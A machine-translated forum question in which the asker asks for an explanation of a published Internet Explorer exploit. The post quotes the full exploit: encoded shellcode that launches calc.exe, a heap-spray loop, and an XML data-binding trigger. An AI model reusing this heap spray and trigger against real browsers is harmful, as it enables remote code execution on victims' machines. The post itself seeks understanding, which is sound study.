Hilf mir, diesen JavaScript-Exploit zu verstehen

Ich in der Regel keine Schwierigkeiten haben, zu Lesen JavaScript-Skript, aber dieses kann ich nicht herausfinden, die Logik. Der code ist aus einem Exploit, der veröffentlicht wurde, vor 4 Tagen. Sie finden ihn unter milw0rm.

Hier ist der code:

<html>
    <div id="replace">x</div>
    <script>
        //windows/exec - 148 bytes
        //http://www.metasploit.com
        //Encoder: x86/shikata_ga_nai
        //EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        //ugly heap spray, the d0nkey way!
        //works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Hier ist, was ich glaube, es tut, und ich möchte Sie, mir zu helfen, für den Teil, den ich falsch verstehen.

Die variable shellcode enthalten den code zum öffnen des calc.exe. Ich verstehe es nicht, wie Sie gefunden haben dieser komische string... keine Ahnung?

Die zweite Sache ist die variable spray. Ich verstehe nicht diese komische Schleife?

Die Dritte Sache ist die variable memory ist niemals überall eingesetzt, warum schaffen Sie es?

Letzte, was, Was bedeutet das XML-tag zu tun in der Seite?

Update

Okay, für den moment habe ich gute Antworten, aber meist sehr
Allgemeinen. Ich würde gerne mehr Erklärungen zu den Wert der
code. Ein Beispiel ist unescape("%u0a0a%u0a0a");. Was bedeutet es?
Das gleiche gilt für die Schleife ist, warum haben die Entwickler schreiben:
length < 0xd0000? Ich möchte ein tieferes Verständnis, nicht
nur die Theorie dieser code.

InformationsquelleAutor der Frage Patrick Desjardins | 2008-12-19

Schreibe einen Kommentar